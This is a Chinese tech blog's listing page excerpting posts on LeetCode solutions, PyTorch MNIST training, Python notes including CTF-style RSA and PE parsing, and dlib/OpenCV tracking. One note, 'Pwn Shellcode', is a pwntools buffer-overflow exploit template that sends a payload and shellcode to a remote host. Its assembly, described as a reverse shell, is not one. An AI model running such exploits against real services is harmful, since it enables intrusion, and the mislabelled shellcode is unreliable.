首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,538 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
29
篇与
的结果
2022-09-28
【技术分享】Leetcode 解题
两数之和给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重复出现。你可以按任意顺序返回答案。示例 1:输入:nums = [2,7,11,15], target = 9输出:[0,1]解释:因为 nums[0] + nums[1] == 9 ,返回 [0, 1]示例 2:输入:nums = [3,2,4], target = 6输出:[1,2]示例 3:输入:nums = [3,3], target = 6输出:[0,1]Go// 利用hash表进行求解 package main import "fmt" func twoSum(nums []int, target int) []int { hash := make(map[int]int) for i := 0; i < len(nums); i++ { if index, ok := hash[target-nums[i]]; ok { return []int{index, i} } hash[nums[i]] = i } return nil } func main() { array := []int{2, 7, 11, 15} fmt.Println(twoSum(array[:], 9)) }Python3class Solution(object): def twoSum(self, nums, target): dic = {} for i, num in enumerate(nums): if num in dic: return [dic[num], i] else: dic[target - num] = i判断回文数给你一个整数 x ,如果 x 是一个回文整数,返回 true ;否则,返回 false 。回文数是指正序(从左向右)和倒序(从右向左)读都是一样的整数。例如,121 是回文,而 123 不是。 示例 1:输入:x = 121输出:true示例 2:输入:x = -121输出:false解释:从左向右读, 为 -121 。 从右向左读, 为 121- 。因此它不是一个回文数。示例 3:输入:x = 10输出:false解释:从右向左读, 为 01 。因此它不是一个回文数。提示:-231 <= x <= 231 - 1Gopackage main import "fmt" func isPalindrome(x int) bool { if 0 > x || (0 == x%10 && 0 != x) { return false } var rever int for x > rever { rever = rever*10 + x%10 x /= 10 } return (x == rever) || (x == rever/10) } func main() { fmt.Println(isPalindrome(1222221)) }Python3class Solution: def isPalindrome(self, x: int) -> bool: return str(x) == str(x)[::-1]删除有序数组中的重复项给你一个 升序排列 的数组 nums ,请你 原地 删除重复出现的元素,使每个元素 只出现一次 ,返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。由于在某些语言中不能改变数组的长度,所以必须将结果放在数组nums的第一部分。更规范地说,如果在删除重复项之后有 k 个元素,那么 nums 的前 k 个元素应该保存最终结果。将最终结果插入 nums 的前 k 个位置后返回 k 。不要使用额外的空间,你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件下完成。判题标准:系统会用下面的代码来测试你的题解:int[] nums = [...]; // 输入数组 int[] expectedNums = [...]; // 长度正确的期望答案 int k = removeDuplicates(nums); // 调用 assert k == expectedNums.length; for (int i = 0; i < k; i++) { assert nums[i] == expectedNums[i]; }如果所有断言都通过,那么您的题解将被 通过。示例 1:输入:nums = [1,1,2]输出:2, nums = [1,2,_]解释:函数应该返回新的长度 2 ,并且原数组 nums 的前两个元素被修改为 1, 2 。不需要考虑数组中超出新长度后面的元素。示例 2:输入:nums = [0,0,1,1,1,2,2,3,3,4]输出:5, nums = [0,1,2,3,4]解释:函数应该返回新的长度 5 , 并且原数组 nums 的前五个元素被修改为 0, 1, 2, 3, 4 。不需要考虑数组中超出新长度后面的元素。Gopackage main import "fmt" func removeDuplicates(nums []int) int { slow, fast := 1, 1 for fast < len(nums) { if nums[fast-1] != nums[fast] { nums[slow] = nums[fast] slow++ } fast++ } return slow } func main() { var array = []int{1, 2, 3, 4, 4, 6, 6, 8, 8, 9} fmt.Println(removeDuplicates(array)) }Python3class Solution: def removeDuplicates(self, nums: List[int]) -> int: slow = fast = 0 while fast < len(nums): if nums[slow] != nums[fast]: slow += 1 nums[slow] = nums[fast] fast += 1 return slow + 1
2022年09月28日
72 阅读
0 评论
29 点赞
2022-09-13
【技术分享】Python3 文字识别模型训练
简介Torch 是一种常用的深度学习框架,可以用于训练各种类型的神经网络模型,包括文字识别模型,文字识别模型是一种能够自动识别图像中的文字并将其转换成可编辑文本的模型,在训练模型之前,准备好一组包含大量图像和相应标签的数据集,Torch 中提供的工具和函数,可以构建、训练和测试一个文字识别模型,在模型训练完成后,可以将其用于对新的图像进行文字识别,并输出识别结果。训练代码import cv2 import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvision from torchvision import datasets, transforms import matplotlib.pyplot as plt # 默认显示512张图片 BATCH_SIZE = 512 # 默认训练批次20次 EPOCHS = 20 # 默认使用cpu加速 DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu") # 构建数据转换列表 tsfrm = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.1037,), (0.3081,)) ]) # 由于官方已经实现dataset,直接使用DataLoader来获取数据 # MNIST数据集包含6万张28x28的训练样本,1万张测试样本 # 下载训练集 train_loader = torch.utils.data.DataLoader( datasets.MNIST(root = 'data', train = True, download = True, transform = tsfrm), batch_size = BATCH_SIZE, shuffle = True) # 下载测试集 test_loader = torch.utils.data.DataLoader( datasets.MNIST(root = 'data', train = False, download = True, transform = tsfrm), batch_size = BATCH_SIZE, shuffle = True) # 展示训练样本图片 # 使用torchvision.utils中的make_grid类方法将一个批次的图片构造成网格模式 def imshow(images): img = torchvision.utils.make_grid(images) npimg = img.numpy() plt.imshow(np.transpose(npimg,(1,2,0))) plt.show() # 从训练集中拿出一批图像 # 用iter和next函数来获取取一个批次的图片数据和其对应的图片标签 images,labels = next(iter(train_loader)) imshow(images) print(labels) # 定义一个LeNet-5网络,包含两个卷积层conv1和conv2,两个线性层作为输出,最后输出10个维度 # 这10个维度作为0-9的标识来确定识别出的是哪个数字。 class ConvNet(nn.Module): def __init__(self): super().__init__() # 1*1*28*28 # 1个输入图片通道,10个输出通道,5x5卷积核 self.conv1 = nn.Conv2d(1, 10, 5) self.conv2 = nn.Conv2d(10, 20, 3) # 全连接层、输出层softmax,10个维度 self.fc1 = nn.Linear(20 * 10 * 10, 500) self.fc2 = nn.Linear(500, 10) # 正向传播 def forward(self, x): in_size = x.size(0) out = self.conv1(x) # 1* 10 * 24 *24 out = F.relu(out) out = F.max_pool2d(out, 2, 2) # 1* 10 * 12 * 12 out = self.conv2(out) # 1* 20 * 10 * 10 out = F.relu(out) out = out.view(in_size, -1) # 1 * 2000 out = self.fc1(out) # 1 * 500 out = F.relu(out) out = self.fc2(out) # 1 * 10 out = F.log_softmax(out, dim=1) return out # 生成模型 model = ConvNet().to(DEVICE) print(model) # 构建优化器optimizer,包含一个可进行迭代优化的、包含所有参数的列表 # model.parameters()表示优化的参数,lr表示学习率 optimizer = optim.Adam(model.parameters(),lr=0.0001) # 定义训练函数 def train(model, device, train_loader, optimizer, epoch): model.train() for batch_idx, (data, target) in enumerate(train_loader): # 输入样本和标签 data, target = data.to(device), target.to(device) # 每次训练梯度清零 optimizer.zero_grad() # 正向传播、反向传播和优化过程 output = model(data) loss = F.nll_loss(output, target) loss.backward() optimizer.step() # 打印训练情况 if (batch_idx + 1) % 30 == 0: print('Train Epoch: {} [{}/{} ({:.0f}%)]\tLoss: {:.6f}'.format( epoch, batch_idx * len(data), len(train_loader.dataset), 100. * batch_idx / len(train_loader), loss.item())) # 定义验证函数 def test(model, device, test_loader): model.eval() test_loss = 0 correct = 0 with torch.no_grad(): for data, target in test_loader: # 输入样本和标签 data, target = data.to(device), target.to(device) output = model(data) # 将一批的损失相加 test_loss += F.nll_loss(output, target, reduction='sum') # 找到概率最大的下标 pred = output.max(1, keepdim=True)[1] correct += pred.eq(target.view_as(pred)).sum().item() test_loss /= len(test_loader.dataset) # 打印验证情况 print("\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%) \n".format( test_loss, correct, len(test_loader.dataset), 100. * correct / len(test_loader.dataset) )) # 开始训练模型 for epoch in range(1, EPOCHS + 1): train(model, DEVICE, train_loader, optimizer, epoch) test(model, DEVICE, test_loader) # 保存模型 torch.save(model.state_dict(), "./MNISTModel.pkl")识别代码import cv2 import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvision from torchvision import datasets, transforms # 默认预测四张含有数字的图片 BATCH_SIZE = 4 # 默认使用cpu加速 DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu") # 构建数据转换列表 tsfrm = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.1037,), (0.3081,)) ]) # 测试集 test_loader = torch.utils.data.DataLoader( datasets.MNIST(root='data', train=False, download=True, transform=tsfrm), batch_size=BATCH_SIZE, shuffle=True) # 定义图片可视化函数 def imshow(images): img = torchvision.utils.make_grid(images) img = img.numpy().transpose(1, 2, 0) std = [0.5, 0.5, 0.5] mean = [0.5, 0.5, 0.5] img = img * std + mean # 将图片高和宽分别赋值给x1,y1 x1, y1 = img.shape[0:2] # 图片放大到原来的5倍,输出尺寸格式为(宽,高) enlarge_img = cv2.resize(img, (int(y1*5), int(x1*5))) cv2.imshow('image', enlarge_img) cv2.waitKey(0) # 定义一个LeNet-5网络,包含两个卷积层conv1和conv2,两个线性层作为输出,最后输出10个维度 # 这10个维度作为0-9的标识来确定识别出的是哪个数字。 class ConvNet(nn.Module): def __init__(self): super().__init__() # 1*1*28*28 # 1个输入图片通道,10个输出通道,5x5卷积核 self.conv1 = nn.Conv2d(1, 10, 5) self.conv2 = nn.Conv2d(10, 20, 3) # 全连接层、输出层softmax,10个维度 self.fc1 = nn.Linear(20 * 10 * 10, 500) self.fc2 = nn.Linear(500, 10) # 正向传播 def forward(self, x): in_size = x.size(0) out = self.conv1(x) # 1* 10 * 24 *24 out = F.relu(out) out = F.max_pool2d(out, 2, 2) # 1* 10 * 12 * 12 out = self.conv2(out) # 1* 20 * 10 * 10 out = F.relu(out) out = out.view(in_size, -1) # 1 * 2000 out = self.fc1(out) # 1 * 500 out = F.relu(out) out = self.fc2(out) # 1 * 10 out = F.log_softmax(out, dim=1) return out # 主程序入口 if __name__ == "__main__": model_eval = ConvNet() # 加载训练模型 model_eval.load_state_dict(torch.load( './MNISTModel.pkl', map_location=DEVICE)) model_eval.eval() # 从测试集里面拿出几张图片 images, labels = next(iter(test_loader)) inputs = images.to(DEVICE) # 输出 outputs = model_eval(inputs) # 找到概率最大的下标 _, preds = torch.max(outputs, 1) # 打印预测结果 numlist = [] for i in range(len(preds)): label = preds.numpy()[i] numlist.append(label) List = ' '.join(repr(s) for s in numlist) print('当前预测的数字为: ', List) # 显示图片 imshow(images)识别效果
2022年09月13日
35 阅读
1 评论
5 点赞
2022-09-11
【技术分享】Python3 代码笔记
Python3自由落体import time def BallFalling(): width,height = 800,600 # 窗口宽度 g, vy = 0.3, 0 # 小球重力加速 x = width // 2 # 小球x坐标除2位于窗口中 y = height // 2 # 小球y坐标除2位于窗口中间 radius = 20 # 小球半径 while True: vy = vy + g # 重力加速 y = y + vy # 根据速度更新y坐标 if y <= radius: vy = -vy if y >= height - radius: vy = -vy print(y) time.sleep(0.01) BallFalling()凯撒加解密def caesar_encrypt(text, shift): # 加密 res = '' for i in text: res += chr((ord(i) + shift - 97) % 26 + 97) return res def caesar_decrypt(text, shift): # 解密 res = '' for i in text: res += chr((ord(i) - shift - 97) % 26 + 97) return res text = "hello" # 明文 shift = 500 # 偏移 encrypted_text = caesar_encrypt(text, shift) print(encrypted_text) decrypted_text = caesar_decrypt(encrypted_text, shift) print(decrypted_text)日期差计算from datetime import datetime, timedelta start_date = datetime(2021, 10, 3) end_date = datetime(2023, 2, 6) difference = end_date - start_date years = difference.days // 365 months = (difference.days % 365) // 30 days = (difference.days % 365) % 30 print("{} years, {} months, and {} days".format(years, months, days))RSA私钥生成算法import gmpy2 e = 17 p = 473398607161 q = 4511491 d = gmpy2.invert(e,(p-1)*(q-1)) print(d)RSA解密算法1import gmpy2 p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483 q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407 e = 65537 c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034 n = p * q phi_n = (p-1)*(q-1) d = gmpy2.invert(e, phi_n) m = gmpy2.powmod(c, d, n) print(m)RSA解密算法2import gmpy2 from Crypto.Util.number import long_to_bytes p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852 I = gmpy2.invert(q,p) m1 = gmpy2.powmod(c,dp,p) m2 = gmpy2.powmod(c,dq,q) m = (((m1-m2)*I)%p)*q+m2 print(long_to_bytes(m))文件异或f = open("misc.png",'rb') with open('flag.png','wb') as nfile: for b in f.read(): # 遍历二进制 # 这里的b是int形式,要转换成bytes时,使用bytes(),且里面的内容需要加[] nfile.write(bytes([b^0x50])) f.close().rdata区段搜索import pefile PEpath = r'xxx.exe' PEdata = pefile.PE(PEpath) rdata = None for section in PEdata.sections: if section.Name.decode().strip('\x00') == '.rdata': rdata = section break if rdata is None: print('.rdata区段未找到') else: # 计算数据在文件中的偏移量和长度 data_offset = rdata.PointerToRawData data_size = rdata.SizeOfRawData # 将数据读入内存 pe_file = open(PEpath, 'rb') pe_file.seek(data_offset) data = pe_file.read(data_size) pe_file.close() # 找到特定的字符串 needle = b'173' index = data.find(needle) if index != -1: # 如果找到了该字符串,输出该字符串及其后面的一些内容 print('Found at offset', data_offset + index) print(data[index:index+20].decode('utf-8'))获取IAT表import pefile PEpath = r'xxx.exe' # 打开PE文件 pe = pefile.PE(PEpath) # 获取IAT表 iat = pe.DIRECTORY_ENTRY_IMPORT # 遍历每个导入表 for entry in iat: # 打印DLL名称和导入函数名称和地址 for imp in entry.imports: if imp.name: print(entry.dll.decode(), imp.name.decode(), hex(imp.address)) else: print(entry.dll.decode(), hex(imp.address))获取导出表import pefile def list_imports(pe): """列出导入表中的模块和函数名称。""" if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'): print("导入表:") for entry in pe.DIRECTORY_ENTRY_IMPORT: print(f"模块: {entry.dll.decode('utf-8')}") for imp in entry.imports: if imp.name: print(f" 函数: {imp.name.decode('utf-8')}") else: print(f" 函数: <序号 {imp.ordinal}>") else: print("没有找到导入表。") def list_exports(pe): """列出导出表中的函数名称。""" if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): print("\n导出表:") for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: if exp.name: print(f"函数: {exp.name.decode('utf-8')}") else: print(f"函数: <序号 {exp.ordinal}>") else: print("没有找到导出表。") def main(file_path): try: pe = pefile.PE(file_path) list_imports(pe) list_exports(pe) except FileNotFoundError: print(f"文件未找到: {file_path}") except pefile.PEFormatError: print(f"文件格式错误: {file_path}") if __name__ == "__main__": file_path = "xxx.dll" main(file_path)获取程序反汇编import pefile import capstone # 读取PE文件 PEpath = r'xxx.exe' pe = pefile.PE(PEpath) # 遍历节表,查找.text节 for section in pe.sections: if ".text" in str(section.Name): # 获取节的内容 data = section.get_data() # 初始化Capstone引擎 md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32) # 反汇编节的内容并输出到控制台 for i in md.disasm(data, 0): print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))判断程序位数import pefile pe = pefile.PE('xxx.exe') if pe.FILE_HEADER.Machine == 0x014c: print('程序为32位') elif pe.FILE_HEADER.Machine == 0x8664: print('程序为64位') else: print('程序不是32位也不是64位')Pwn Shellcodefrom pwn import * context(arch='i386', os='linux') # 远程主机地址和端口 host = 'example.com' port = 1234 # 恶意代码,这里使用了一个简单的反弹shellcode shellcode = asm(''' push esp pop eax xor ebx, ebx xor ecx, ecx xor edx, edx mov bl, 0x6 mov ecx, eax mov dl, 0x4 int 0x80 xor ebx, ebx mov bl, 0x1 int 0x80 ''') # 构造缓冲区溢出的payload # 这里的偏移量需要根据实际情况进行计算 offset = 0x20 payload = b'A' * offset + p32(0xdeadbeef) # 连接远程主机并发送payload io = remote(host, port) io.send(payload) # 等待程序崩溃并输出栈地址 io.recvuntil('Unhandled exception at address ') stack_addr = int(io.recv(10), 16) # 计算栈的偏移量并构造新的payload # 这里的偏移量需要根据实际情况进行计算 stack_offset = 0x100 payload = b'A' * offset + p32(stack_addr + stack_offset) + shellcode # 发送新的payload,触发远程代码执行 io.send(payload) # 进入交互模式,可以手动执行其他命令 io.interactive()装饰器import time def contdown(func): # 定义装饰器函数 contdown def wrapper(*args, **kwargs): start_time = time.perf_counter() result = func(*args, **kwargs) end_time = time.perf_counter() return f"{end_time - start_time}" # 将执行时间返回为字符串。 return wrapper @contdown # 用装饰器语法 @contdown def go(): time.sleep(1) print(go()) # 调用被装饰函数go类继承class Animal: def __init__(self, name): self.name = name def speak(self): pass class Dog(Animal): def speak(self): return "Woof" class Cat(Animal): def speak(self): return "Meow" dog = Dog("Fido") cat = Cat("Fluffy") print(dog.name + " says " + dog.speak()) print(cat.name + " says " + cat.speak()) # 输出: # Fido says Woof # Fluffy says Meow 静态方法class Person: def __init__(self, name, age) -> None: self.name = name self.age = age def greet(self): print( f"Hello, my name is {self.name}, my age is {self.age} years old.") @classmethod def create(cls, name, age): return cls(name, age) person1 = Person("anda", 60) person1.greet() person2 = Person.create("alice", 50) person2.greet() # 输出: # Hello, my name is anda, my age is 60 years old. # Hello, my name is alice, my age is 50 years old.代码技巧def func(x: int, y: int): print(f'x:{x}, y:{y}') pose = [1,2] func(*pose) # 元组传参 # 输出: # x:1, y:2 from itertools import permutations l = ['a', 'b', 'c'] p = permutations(l, r=2) # 输出列表所有可能的排列 print(list(p)) # 输出: # [('a', 'b'), ('a', 'c'), ('b', 'a'), ('b', 'c'), ('c', 'a'), ('c', 'b')] def func(name:str, age: int): # 定义初始变量类型 return f'{name} age is {age} years old.' age : int = 20 name: str = "lance" # 代码变量类型更清楚,去除Python解释器判断变量类型。 print(func(name, age)) # 输出: # lance age is 20 years old.
2022年09月11日
120 阅读
0 评论
9 点赞
2022-09-10
此内容被密码保护
加密文章,请前往内页查看详情
2022年09月10日
771 阅读
0 评论
62 点赞
2022-07-23
【技术分享】Python3 屏幕单目标跟踪 opencv + dlib实现 ( 第六课 )
简介dlib提供了dlib.correlation_tracker()类用于跟踪目标,于是自己修改了下直接在屏幕上绘制识别物体,效果一般有时识别会出错。完整代码import cv2 import numpy as np import dlib, mss, os window_name = 'Testone' window_size = 2 sct = mss.mss() screen_width = 1920 screen_height = 1080 # win_left , win_top, win_width, win_height = screen_width // 3, screen_height // 3, screen_width // 3, screen_height // 3 rwidth, rheight = screen_width // window_size, screen_height // window_size monitor = { 'left': 0, 'top': 0, 'width': 1920, 'height': 1080, } tracker = dlib.correlation_tracker() start_flag = True selection = None track_window = None drag_start = None def onMouseClicked(event, x, y, flags, param): global selection, track_window, drag_start if event == cv2.EVENT_LBUTTONDOWN: drag_start = (x, y) track_window = None if drag_start: xMin = min(x, drag_start[0]) yMin = min(y, drag_start[1]) xMax = max(x, drag_start[0]) yMax = max(y, drag_start[1]) selection = (xMin, yMin, xMax, yMax) if event == cv2.EVENT_LBUTTONUP: drag_start = None track_window = selection selection = None cv2.namedWindow(window_name, cv2.WINDOW_NORMAL) cv2.resizeWindow(window_name, rwidth, rheight) cv2.setMouseCallback(window_name, onMouseClicked) while True: try: img = sct.grab(monitor=monitor) img = np.array(img) gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) if start_flag == True: while True: img_first = img.copy() if track_window: cv2.rectangle(img_first, (track_window[0], track_window[1]), (track_window[2], track_window[3]), (255,255,255), 2) elif selection: cv2.rectangle(img_first, (selection[0], selection[1]), (selection[2], selection[3]), (255,255,255), 2) cv2.imshow(window_name, img_first) if cv2.waitKey(5) == 13: break start_flag = False tracker.start_track(gray, dlib.rectangle(track_window[0], track_window[1], track_window[2], track_window[3])) else: tracker.update(gray) box_predict = tracker.get_position() cv2.rectangle(img,(int(box_predict.left()),int(box_predict.top())),(int(box_predict.right()),int(box_predict.bottom())),(0,255,255),2) cv2.imshow(window_name, img) if cv2.waitKey(10) == 27: break except Exception as e: print(e) os._exit(0) cv2.destroyAllWindows()视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/11/11.13.mp4"/}
2022年07月23日
62 阅读
0 评论
4 点赞
2022-07-22
【技术分享】Python3 模型训练与预测 opencv + dlib实现 ( 第五课 )
训练代码import dlib import cv2 as cv def Train(): options = dlib.simple_object_detector_training_options() options.add_left_right_image_flips = True options.C = 5 options.num_threads = 2 options.be_verbose = True dlib.train_simple_object_detector('data.xml', 'data.svm', options) def deteTest(): imgpath = '1.png' image = cv.imread(imgpath) gray = cv.cvtColor(image, cv.COLOR_BGR2GRAY) detector = dlib.simple_object_detector("data.svm") dets = detector(gray) for (k, d) in enumerate(dets): cv.rectangle(image, (d.left(), d.top()), (d.left() + d.width(), d.top() + d.height()), (0, 255, 0), 1) cv.imshow("Output", image) cv.waitKey(0) if __name__ == '__main__': while True: print(''' | 1.训练模型 | 2.查看效果 | '''.strip()) var = int(input(">>")) if var == 1: Train() if var == 2: deteTest()检测代码import cv2 as cv import numpy as np import dlib, mss, os window_name = 'Test' window_size = 2 sct = mss.mss() monitor = { 'left': 0, 'top': 0, 'width': 1920, 'height': 1080, } num_res_width = 1920 // 2 num_res_height = 1080 // 2 while True: try: # hwnds = win32gui.FindWindow('Chrome_WidgetWin_1', None) # left, top, right, bottom = win32gui.GetWindowRect(hwnds) img = sct.grab(monitor=monitor) img = np.array(img) gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY) cv.namedWindow(window_name, cv.WINDOW_NORMAL) cv.resizeWindow(window_name, num_res_width, num_res_height) detector = dlib.get_frontal_face_detector() dets = detector(gray) for _, d in enumerate(dets): cv.rectangle(img, (d.left(), d.top()), (d.left() + d.width(), d.top() + d.height()), (0, 0, 255), 2) cv.putText(img, "1", (d.left() + d.width(), d.top() + d.height()), cv.FONT_HERSHEY_SIMPLEX, 1.2, (0, 255, 0), 2) cv.imshow(window_name, img) k = cv.waitKey(1) if k % 256 == 27: cv.destroyAllWindows() exit('已退出...') except Exception as e: print(e) os._exit(0)视频教程{bilibili bvid="BV16T4y1r7Jj" page=""/}{cloud title="训练工具" type="default" url="https://wws.lanzouj.com/iEbAK07u66oj" password=""/}
2022年07月22日
411 阅读
0 评论
125 点赞
2022-07-22
【技术分享】Python3 调用易语言DLL
简介编程只是为了解决我们的一些问题而存在的,没有必要区分太细,哪个方便就用哪个吧,易语言从初中就陪伴着我,用习惯了它很方便也可以开发dll,顺便做个笔记以防忘记,使用Python调用易语言dll遇到的坑。易语言dll1.这里写了几个导出函数,分别是 TS、TS2、TS3,都不同有无参的函数,有传参的函数,还有传参返回的函数,这里注意易语言生成的dll是32位的必须要由32位Python才可以调用,64位会直接报错的。Python3调用import ctypes # 导入C类型模块 dll = ctypes.CDLL(r"E:\桌面\ed.dll") # 导入动态链接库 dll.TS() # 调用无参函数 dll.TS2("测试1".encode("gbk")) # 传参需要编码成 gbk text = dll.TS3("测试2".encode("gbk")) print(ctypes.string_at(text).decode("gbk")) # 通过string_at转换成字符 再解码为gbk效果
2022年07月22日
50 阅读
0 评论
4 点赞
2022-07-22
【技术分享】Python3 比对人脸 opencv + dlib实现 ( 第四课 )
简介在前面的几课中介绍了,如何使用dlib标定人脸 人脸检测 提取68个特征点。这次要在这两个工作的基础之上,将人脸的信息提取成一个128维的向量空间。在这个向量空间上,同一个人脸的更接近,不同人脸的距离更远。度量采用欧式距离,欧氏距离计算不算复杂。二维公式三维公式将其扩展到128维的情况下通常使用的判别阈值是0.6,即如果两个人脸的向量空间的欧式距离超过了0.6,即认定不是同一个人;如果欧氏距离小于0.6,则认为是同一个人。{cloud title="模型下载" type="bd" url="https://www.123684.com/s/Ke1Jjv-31go3" password=""/}完整代码import cv2 import dlib import numpy as np def main(): img1 = cv2.imread("1.jpeg") img2 = cv2.imread("2.jpeg") test = cv2.imread("test.jpeg") # BGR to RGB img1 = img1[:, :, ::-1] img2 = img2[:, :, ::-1] test = test[:, :, ::-1] detector = load_face_detector() predictor = load_key_detector() encoder = load_face_coding_feature_model() img1_128D = encoder_face(img1,detector,predictor,encoder)[0] img2_128D = encoder_face(img2,detector,predictor,encoder)[0] test_128D = encoder_face(test,detector,predictor,encoder)[0] all_image_128D = [img1_128D, img2_128D] distance =compare_faces(all_image_128D,test_128D) print(distance) # 加载人脸检测器 def load_face_detector(): return dlib.get_frontal_face_detector() # 加载关键点模型 def load_key_detector(): return dlib.shape_predictor("shape_predictor_68_face_landmarks.dat") # 加载人脸编码特征模型 def load_face_coding_feature_model(): return dlib.face_recognition_model_v1("dlib_face_recognition_resnet_model_v1.dat") # 关键点编码为128D def encoder_face(image,detector,predictor,encoder,upsample=1,jet=1): # 检测人脸(检测到几张人脸) faces = detector(image,upsample) # 对检测的人脸进行关键点检测 faces_key_points = [predictor(image,face) for face in faces] # 对每张检测点进行128D return [np.array(encoder.compute_face_descriptor(image,faces_key_point,jet)) for faces_key_point in faces_key_points] # 人脸比较,通过欧式距离 def compare_faces(face_encoding, test_encoding): return list(np.linalg.norm(np.array(face_encoding) - np.array(test_encoding), axis=1)) if __name__ == '__main__': main() {lamp/}
2022年07月22日
263 阅读
2 评论
68 点赞
2022-07-22
【技术分享】Python3 单目标跟踪 opencv + dlib实现 ( 第三课 )
简介dlib提供了dlib.correlation_tracker()类用于跟踪目标,效果一般般,没训练的模型好。官方文档入口:http://dlib.net/python/index.html#dlib.correlation_tracker完整源码(直接绘制完成后按下enter键即可跟踪)import sys import dlib import cv2 tracker = dlib.correlation_tracker() # 导入correlation_tracker()类 cap = cv2.VideoCapture(0) # OpenCV打开摄像头 start_flag = True # 标记,是否是第一帧,若在第一帧需要先初始化 selection = None # 实时跟踪鼠标的跟踪区域 track_window = None # 要检测的物体所在区域 drag_start = None # 标记,是否开始拖动鼠标 # 鼠标点击事件回调函数 def onMouseClicked(event, x, y, flags, param): global selection, track_window, drag_start # 定义全局变量 if event == cv2.EVENT_LBUTTONDOWN: # 鼠标左键按下 drag_start = (x, y) track_window = None if drag_start: # 是否开始拖动鼠标,记录鼠标位置 xMin = min(x, drag_start[0]) yMin = min(y, drag_start[1]) xMax = max(x, drag_start[0]) yMax = max(y, drag_start[1]) selection = (xMin, yMin, xMax, yMax) if event == cv2.EVENT_LBUTTONUP: # 鼠标左键松开 drag_start = None track_window = selection selection = None cv2.namedWindow("image", cv2.WINDOW_AUTOSIZE) cv2.setMouseCallback("image", onMouseClicked) # opencv的bgr格式图片转换成rgb格式 # b, g, r = cv2.split(frame) # frame2 = cv2.merge([r, g, b]) while True: ret, frame = cap.read() # 从摄像头读入1帧 if start_flag == True: # 如果是第一帧,需要先初始化 # 这里是初始化,窗口中会停在当前帧,用鼠标拖拽一个框来指定区域,随后会跟踪这个目标;我们需要先找到目标才能跟踪不是吗? while True: img_first = frame.copy() # 不改变原来的帧,拷贝一个新的出来 if track_window: # 跟踪目标的窗口画出来了,就实时标出来 cv2.rectangle(img_first, (track_window[0], track_window[1]), (track_window[2], track_window[3]), (0,0,255), 1) elif selection: # 跟踪目标的窗口随鼠标拖动实时显示 cv2.rectangle(img_first, (selection[0], selection[1]), (selection[2], selection[3]), (0,0,255), 1) cv2.imshow("image", img_first) # 按下回车,退出循环 if cv2.waitKey(5) == 13: break start_flag = False # 初始化完毕,不再是第一帧了 tracker.start_track(frame, dlib.rectangle(track_window[0], track_window[1], track_window[2], track_window[3])) # 跟踪目标,目标就是选定目标窗口中的 else: tracker.update(frame) # 更新,实时跟踪 box_predict = tracker.get_position() # 得到目标的位置 cv2.rectangle(frame,(int(box_predict.left()),int(box_predict.top())),(int(box_predict.right()),int(box_predict.bottom())),(0,255,255),1) # 用矩形框标注出来 cv2.imshow("image", frame) # 如果按下ESC键,就退出 if cv2.waitKey(10) == 27: break cap.release() cv2.destroyAllWindows() 视频效果隐藏内容,请前往内页查看详情官方示例# The contents of this file are in the public domain. See LICENSE_FOR_EXAMPLE_PROGRAMS.txt # # This example shows how to use the correlation_tracker from the 